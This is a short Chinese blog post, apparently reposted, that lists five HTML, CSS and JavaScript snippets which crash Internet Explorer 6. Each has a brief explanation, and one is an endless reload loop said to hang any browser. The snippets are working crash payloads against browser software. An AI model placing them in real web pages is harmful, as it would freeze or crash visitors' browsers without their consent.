让IE6崩溃的几种方法

方法一

<style>
div
{
width
:100px;
}
div a:hover
{
position
:absolute
}
</style>
<div>
<a href="#">点我挂掉IE6<img src=""/><span></span></a>
</div>

原理解析: IE6在处理图片的 absolute 时出现问题


 

 

 

方法二

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"
>

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<title>Crash IE6</title>
</head>
<body>
<ul>
<li><a name='label1'/>a</li>
</ul>
<ul>
<li><a name='label2'/>b<sub>c</sub></li>
</ul>
</body>
</html>

原理解析:IE6 在处理 label 内的 sub 出现问题

 

 

方法三

<style>*{position:relative}</style><table><input></table>

原理解析:IE6 在处理 relative 过程出现死循环

 

 

方法四

<script>
while(1)location.reload();
</script>

原理解析:所有浏览器都会挂。

 

 

方法五

<script>for(x in document.write){document.write(x);}</script>


原理解析:document.write会影响 x

原文:http://www.ipmtea.net/css_ie_firefox/201109/28_683.html

原文地址:https://www.cnblogs.com/csdttnk/p/2848440.html